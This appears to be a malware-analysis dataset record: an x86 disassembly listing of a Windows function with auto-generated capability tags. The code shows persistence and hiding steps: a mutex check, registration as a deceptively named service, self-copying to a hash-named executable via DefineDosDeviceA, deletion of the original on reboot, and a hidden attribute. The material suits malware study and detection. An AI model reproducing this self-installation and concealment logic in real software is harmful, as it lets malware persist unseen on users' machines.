Function at 0x40b940
Capabilities:
Check if file exists
Check mutex on windows
Copy file
Create directory
Get common file path
Get file attributes
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push ebx
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [ebp - 0x28]
xor ebx, ebx
push 0x7f04
rep stosd dword es:[edi], eax
push ebx
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
push ebx
lea ecx, [ebp - 0x54]
push ebx
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
lea edx, [ebp - 0x158]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x158]
push 0x104
push edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x158]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40ba0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40ba0e
push ebx
call sub.MSVCRT.dll_exit
nop
nop
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call esi
nop
nop
nop
nop
nop
nop
push ebx
call esi
cmp dword [0x4223b4], ebx
jne 0x40bb71
mov eax, dword [0x4223ac]
mov edi, 1
cmp eax, edi
jne 0x40ba80
call fcn.0040bf00
test eax, eax
je 0x40ba69
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], str.Cummer_jrq
push ecx
mov dword [ebp - 0x34], 0x40b720
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x40ba80
push str.Cummer_R__DirectX_mid_for_Windows_R_.
push str.Cummer_Remover_yta_for_Windows_R_.
push str.Cummer_jrq
call fcn.0040bb90
add esp, 0xc
cmp dword [0x4223b0], edi
jne 0x40bb7c
push ebx
lea edx, [ebp - 0x2ac]
push 7
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x40bb85
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push str.c821651005b678663366d90ed100998c
lea eax, [ebp - 0x1a8]
push str._s.exe
push eax
call edi
lea ecx, [ebp - 0x1a8]
lea edx, [ebp - 0x2ac]
push ecx
push edx
lea eax, [ebp - 0x3b0]
push str._s_s
push eax
call edi
add esp, 0x1c
lea ecx, [ebp - 0x3b0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40bb66
lea edx, [ebp - 0x1a8]
lea eax, [ebp - 0x2ac]
push edx
push eax
lea ecx, [ebp - 0x4b4]
push str.___s_s
push ecx
call edi
add esp, 0x10
lea edx, [ebp - 0x4b4]
push edx
push str.agmkis2
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0x64
call esi
push ebx
lea eax, [ebp - 0x158]
push str.._agmkis2
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
lea ecx, [ebp - 0x158]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [ebp - 0x2ac]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x2ac]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.0040b160
push 0x32
call esi
jmp 0x40bb66
call fcn.0040b160
push 0x32
call esi
jmp 0x40bb71
nop
nop
nop
nop
nop
nop
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10